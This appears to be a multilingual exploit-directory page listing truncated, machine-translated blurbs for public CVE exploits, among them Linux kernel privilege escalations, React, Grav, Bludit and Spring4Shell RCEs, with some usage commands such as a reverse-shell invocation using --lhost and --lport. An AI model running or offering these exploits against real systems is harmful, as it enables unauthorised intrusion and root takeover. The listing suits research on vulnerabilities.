CVE-2025-55182-in-go

CVE-2025-55182 — React Server Components RCE Exploit für RCE in React Server Components via Prototype Pollution. Verwendung root@kitploit: go run main.go -t -c Beispiele root@kitploit: go run main.go -t http://127.0.0.1 -c "id" go run main.go -t http://127.0.0.1 -c "ls -la" go run main.go -t...

CVE-2024-1086

CVE-2024-1086 CVE-2024-1086 के लिए यूनिवर्सल लोकल प्रिविलेज एस्केलेशन प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो v5.14 और v6.6 के बीच अधिकांश Linux कर्नेल पर काम करता है, जिसमें Debian, Ubuntu और KernelCTF शामिल हैं। KernelCTF इमेज में सफलता दर 99.4% है। प्रभावित संस्करण यह एक्सप्लॉइट v5.14 से समावेशी v6....

CVE-2022-0847-Dirty-Pipe

CVE-2022-0847 Dirty Pipe Vorkompilierte Exploit für CVE-2022-0847 Dirty Pipe. Original-Quellcode von haxx.in/dirtypipe. Bauen root@kitploit: make glibc statische Build make zig-musl-static ZIGTARGET=x8664-linux-musl musl statische Build Herunterladen Laden Sie vorkompilierte Binärdateien von...

CVE-2026-31431-Copy-Fail

CVE-2026-31431 Copy Fail Exploit precompilato per CVE-2026-31431 Copy Fail. Codice sorgente originale da tgies/copy-fail-c, con l'aggiunta del target di build i386 x8632. Scoperta della vulnerabilità e PoC originale da theori-io/copy-fail-CVE-2026-31431. Scrittura canonica: copy.fail. Build...

CVE-2021-37748

Exploits für CVE-2021-37748 Vollständiger Artikel: https://www.secforce.com/blog/exploiting-grandstream-ht801-ata-cve-2021-37748-cve-2021-37915/...

CVE-2026-31431

CVE-2026-31431 Copy Fail Lokale Rechteausweitung Copy Fail ist eine neue Zero-Day-Sicherheitslücke im Linux-Kernel, die es jedem authentifizierten Benutzer ermöglicht, auf fast allen Linux-Distributionen seit 2017 Root-Rechte zu erlangen Local Privilege Escalation, kurz LPE. Ein einfach zu...

CVE-2021-21425-RCE

questa è la mia versione, ne ho trovate molte in internet ma sono troppo scadenti UTILIZZO root@kitploit: python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 aspetta.. per 60 secondi otterrai una shell sul tuo listener...

IngressNightmare-POCs

IngressNightmare-POCs CVE-2025-24513: https://github.com/kubernetes/kubernetes/issues/131005 CVE-2025-24514: https://github.com/kubernetes/kubernetes/issues/131006 CVE-2025-1097: https://github.com/kubernetes/kubernetes/issues/131007 CVE-2025-1098:...

CVE-2025-55182-React-19.2.0

Exploit-Schritte: 1. Laden Sie alle Dateien in diesem Repository herunter 2. Extrahieren Sie die Datei.zip und nennen Sie sie rh-test 3. Führen Sie mit npm run dev oder yarn dev oder pnpm dev oder bun dev aus. 4. Öffnen Sie http://localhost:3000 im Browser 5. Öffnen Sie ein neues Terminal und...

CVE-2025-9074

Descrizione Realizzato con vibe coding, un piccolo script di exploit in Bash puro senza dipendenze da strumenti che potrebbero non essere installati. Lo script comunica con l'API Docker interna, crea e avvia un nuovo contenitore, monta l'unità C dell'host ed esegue un comando all'interno. L'outpu...

CVE-2020-14882_Exploit_Gui

CVE-2020-14882ExploitGui Lo strumento deve essere utilizzato solo in stato autorizzato. In caso di reati penali, gli attacchi non autorizzati non sono di mia responsabilità. Si prega di essere ben informati sulla 《网络安全法》 Durante un'attività di ricognizione, ho incontrato 14882 e non ho trovato un...

POC-for-CVE-2023-41993

CVE-2023-41993 CVE-2023-41993 के लिए PoC शोषण। यह केवल addrof/fakeobj तक लिखा गया है। विश्वसनीयता बहुत अच्छी नहीं है। यदि आप इसे बेहतर बनाना चाहते हैं, तो स्ट्रक्चर आईडी को स्प्रे करने का प्रयास करें। POC लिंक https://po6ix.github.io/POC-for-CVE-2023-41993/pwn.html मैंने कई अनुरोधों के बाद GitHub...

CVE-2025-24893_Shell

2025-24893Shell requisiti: httpx uso: python exploit.py victim.com...

CVE-2020-24186

chmod +x CVE-2020-24186 ./CVE-2020-24186...

CVE-2025-21574-Exploit

CVE-2025-21574-Exploit Caratteristiche principali di questo exploit Black-Box: 1. Brute-Forcing delle credenziali: Testa 12+ combinazioni comuni predefinite di nome utente/password Controlla 5 database di sistema comuni Rileva automaticamente credenziali valide 2. Tentativo di accesso anonimo:...

CVE-2019-16113

Bludit 3.9.2 - リモートコマンド実行 - CVE-2019-16113 このエクスプロイトは、Bludit CMS 3.9.2 の2つの脆弱性を組み合わせて、ターゲットシステム上でリモートコード実行を実現します。 元のエクスプロイトは CVE-2019-17240 と CVE-2019-16113 です。 特徴 ブルートフォースパスワード + RCE ブルートフォースユーザー名:パスワード + RCE 再現方法 Bludit 3.9.2 CMS をセットアップ ログイン情報を設定 エクスプロイトを実行: root@kitploit: python3 poc.py...

cve-2021-22146

cve-2021-22146 Ho trovato durante un pentest interno una vulnerabilità su Elastic ECE. Elasticdump è un PoC per CVE-2021-22146 per scaricare il database da Elastic ECE dalla versione 7.10.0 alla 7.13.3. https://www.exploit-db.com/exploits/50152 Collaboratori: Mario Díaz Caldera...

CVE-2020-15999

CVE-2020-15999 CVE-2020-15999脆弱性を悪用するスクリプトを含むリポジトリ 実行 脆弱性を悪用するには次のコマンドを実行します root@kitploit: bash run.sh...

CVE-2018-17961

इमेज बिल्ड करें पोर्ट फ़ॉरवर्डिंग के साथ कंटेनर चलाएँ ssh -X से इसमें लॉगिन करें evince executeonlybypass.ps चलाएँ जाँचें कि एक्सप्लॉइट /.bashrc में लिखा गया है...

CVE-2022-22965

👾 CVE-2022-22965 Questa è una prova di concetto di un exploit per la vulnerabilità CVE-2022-22965 spring4shell. È composto da: Un'applicazione Springboot vulnerabile; Uno script exploit scritto in Python; Un'app sicura per testare che l'exploit non funzioni; Un Dockerfile per eseguire...